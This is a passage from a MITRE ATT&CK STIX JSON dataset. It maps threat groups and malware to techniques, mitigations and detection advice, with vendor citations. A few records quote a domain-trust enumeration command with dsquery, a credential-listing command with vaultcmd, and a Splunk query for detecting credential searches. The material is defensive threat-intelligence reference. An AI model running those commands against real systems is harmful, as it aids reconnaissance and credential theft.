Storm Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da7b2203-dade-4ec0-85a5-dada9409ae2f","type":"relationship","created":"2021-10-13T06:37:46.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Apple App Security Overview","url":"https://support.apple.com/guide/security/app-security-overview-sec35dd877d0/1/web/1","description":"Apple Inc. (2021, February 18). App security overview. Retrieved October 12, 2021."}],"modified":"2021-10-16T01:50:40.681Z","description":"Configure applications to use the application bundle structure which leverages the /Resources folder location.(Citation: Apple App Security Overview) ","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da7dbcec-4714-4bca-8b90-d3a0a95576d9","type":"relationship","created":"2020-07-16T15:07:27.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:51:26.020Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can check for the presence of network sniffers, AV, and BitDefender firewall.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da7dcfcb-7a36-43a8-8a0a-409d15b7e62e","type":"relationship","created":"2021-09-29T15:41:18.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes Lazarus-Andariel Conceals Code April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/","description":"Jazi, H. (2021, April 19). Lazarus APT conceals malicious code within BMP image to drop its RAT . Retrieved September 29, 2021."},{"source_name":"Kaspersky Andariel Ransomware June 2021","url":"https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/","description":"Park, S. (2021, June 15). Andariel evolves to target South Korea with ransomware. Retrieved September 29, 2021."}],"modified":"2021-09-29T17:18:24.533Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has hidden malicious executables within PNG files.(Citation: MalwareBytes Lazarus-Andariel Conceals Code April 2021)(Citation: Kaspersky Andariel Ransomware June 2021)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da7ddc38-f706-43b4-b3e7-fa3e5d1d2cff","type":"relationship","created":"2019-02-14T17:49:30.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Harmj0y Domain Trusts","url":"https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944","description":"Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}],"modified":"2020-09-17T18:26:17.799Z","description":"[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on domain trusts with dsquery * -filter \"(objectClass=trustedDomain)\" -attr *.(Citation: Harmj0y Domain Trusts)","relationship_type":"uses","source_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da7fb67f-3cb2-498d-a832-f98622bc9ee2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2019-07-26T23:00:57.180Z","description":"[SynAck](https://attack.mitre.org/software/S0242) enumerates all running processes.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da82b0e0-0397-426f-a8d0-b596ec2d81bb","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:56:21.793Z","description":"Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da87f8fe-9644-4e97-b764-d570910e9e4e","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes The Windows Vault","description":"Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.","url":"https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:39:28.705Z","description":"Monitor newly executed processes for suspicious activity listing credentials from the Windows Credentials locker (e.g. vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault)\n\nAnalytic 1 - New processes with parameters indicating credential searches in Windows Credential Manager.\n\n index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1\n(CommandLine IN (\"*vaultcmd.exe*\", \"*rundll32.exe keymgr.dll KRShowKeyMgr*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da8b2bcf-c952-4076-8e45-b18572f49ae9","created":"2023-03-29T16:07:16.657Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T16:07:16.657Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can collected the IP address and domain name of a compromised host.(Citation: Lunghi Iron Tiger Linux) ","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da8e4a55-195f-4fbc-8a8b-565581d3a3d4","created":"2024-09-10T17:25:41.473Z","revoked":false,"external_references":[{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T17:25:41.473Z","description":"[Ebury](https://attack.mitre.org/software/S0377) is executed through hooking the keyutils.so file used by legitimate versions of `OpenSSH` and `libcurl`.(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--daabfd4e-f873-4afc-8f39-fc5daf7cd71a","created":"2021-09-29T15:41:18.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T18:36:06.081Z","description":"(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dab25d1d-e38b-491d-9842-8de94999744f","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","modified":"2022-04-20T03:09:38.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dabe8ee6-7c30-4f00-9f96-47eca9c77850","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dac35c07-4a4a-4924-a702-09e5cf988349","created":"2023-02-14T18:21:40.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T20:58:23.629Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) has relied on CVE-2022-30190 (Follina) for execution during delivery.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dac3df5a-9569-41ac-94d2-115062b7b632","created":"2022-09-26T20:15:31.365Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T20:15:31.365Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) has identified the OS product name from a compromised host by searching the registry for `SOFTWARE\\MICROSOFT\\Windows NT\\ CurrentVersion | ProductName`.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dac527e7-fffb-46de-8585-57a112cb1eba","type":"relationship","created":"2020-12-02T21:13:54.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-02T21:13:54.437Z","description":"(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dac6c0a0-9eba-41b5-95c1-2f340d12b175","type":"relationship","created":"2020-02-04T12:52:13.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-12T18:32:33.058Z","description":"Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dac8dcfd-e7e7-4b41-b100-07f95f6b0ba9","type":"relationship","created":"2019-01-29T17:59:44.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"},{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.075Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dacff5f4-a7ed-424b-847b-377ed2b91679","created":"2020-07-15T20:23:36.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.257Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has collected the operating system version from the infected system.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dad14304-3539-4de9-b50b-c79d2d376ab6","type":"relationship","created":"2021-10-14T22:21:20.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"modified":"2021-10-14T22:21:20.873Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has relied upon a victim to click on a malicious email attachment.(Citation: TrendMicro Taidoor)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.172Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from local hard drives with file extensions that match a predefined list.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dae53ce2-d59e-47d2-b3ac-edd4be97a5ee","created":"2023-03-31T17:42:17.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T15:36:10.274Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) checked for connectivity to resources within the network and used LDAP to query Active Directory, discovering information about computers listed in AD.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dae7228a-89f0-4e1c-b306-b9f6d08b902d","created":"2020-11-10T16:04:00.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.666Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has shut down or uninstalled security applications on victim systems that might prevent ransomware from executing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"},{"url":"https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf","description":"Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.","source_name":"evolution of pirpi"}],"modified":"2019-04-29T18:01:20.400Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can list out currently running processes.(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--daf75556-254a-41af-960d-5b1012c739e3","created":"2022-03-02T17:32:03.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Twitter Ida Pro Nov 2021","description":"Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024.","url":"https://x.com/ESETresearch/status/1458438155149922312"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:28:53.003Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has replaced `win_fw.dll`, an internal component that is executed during IDA Pro installation, with a malicious DLL to download and execute a payload.(Citation: ESET Twitter Ida Pro Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dafa1584-bdd9-4c46-be07-2d002a529948","created":"2020-03-16T14:49:02.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"},{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Least Privilege","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487450.aspx"},{"source_name":"Microsoft Securing Privileged Access","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 